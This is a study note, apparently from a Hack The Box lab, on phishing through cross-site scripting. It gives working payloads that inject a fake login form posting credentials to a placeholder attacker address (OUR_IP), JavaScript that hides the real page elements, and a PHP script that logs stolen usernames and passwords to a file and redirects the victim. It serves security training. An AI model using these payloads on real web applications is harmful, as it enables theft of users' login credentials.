---
title: "5. Phishing with XSS"
date: 2024-10-03
draft: false
---

Phishing is common with XSS 
- Legitimize an attack 
- Common form of xss phishing:
	- Injecting fake login forms that send login details to the attacker server 
	- ID an XSS vuln in a webapp for a particular org - Use this attack as a phishing simulation exercise (employee trusts the webapp)

**XSS Discovery**
Start by attempting to find XSS vuln in web application at `/phishing` 
- Simple online image viewer where, if we input URL of an image, it is displayed
- This kind of app is common in online forums and similar webapps 


![](/img/Pasted image 20241003213741.png)
![](/img/Pasted image 20241003213804.png)

Once we have a payload we can create a phishing form by injecting html code that displays a login form on the targeted page - form will send login information to a server we are listening on - once a user attempts to login we'd get their credentials. 
```bash
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>
```

 We will later be listening on this IP to retrieve the credentials sent from the form. The login form should look as follows:
```bash
<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
```

Now we prepare our XSS code and test it on vulnerable form.

To write HTML code to a vulnerable page, use JS function `document.write()` in the XSS payload we found earlier in XSS discovery step. 
After we minify html code to a single line and add it inside the `write()` function the final code will look like: 

```bash
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

Our payload is as follows: 
```bash
'><a%09ONMOuSeovER%0d=%0dconfirm()%0dx>v3dm0s
```

interesting note about this is that scanning more with the tool we noticed a lot of the payloads that were successfully using XSS started with `'>` 
thus 
```bash
'><script>alert(1)</script>
```

ended up working just fine 

We need to figure out how to stuff that form in that payload. 

Another note is that we may want to hide other elements of the existing page to make this more convincing. 

 To do so, we can use the JavaScript function `document.getElementById().remove()` function

To find the ID of the element we want to remove use CTRL+SHIFT+C to open the inspector and click on the element we want 

![](/img/Pasted image 20241003214414.png)

```javascript
document.getElementById('urlform').remove();
```

Which updates our payload to look like:
```javascript
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
```

To clean up some of the original html code use a comment `<!--` 

---
This alone may raise suspicions to a phish target 
- just listening with netcat will still make the app not behave correctly
- we want it to redirect to the regular site, as if they actually logged in
- thus we need to host a simple php server to capture the request and redirect them 
The following PHP script should do what we need, and we will write it to a file on our VM that we'll call `index.php` and place it in `/tmp/tmpserver/` (`don't forget to replace SERVER_IP with the ip from our exercise`):

Code: php

```php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>
```

then serve the file: 

```shell-session
stejwes@htb[/htb]$ sudo php -S 0.0.0.0:80
```

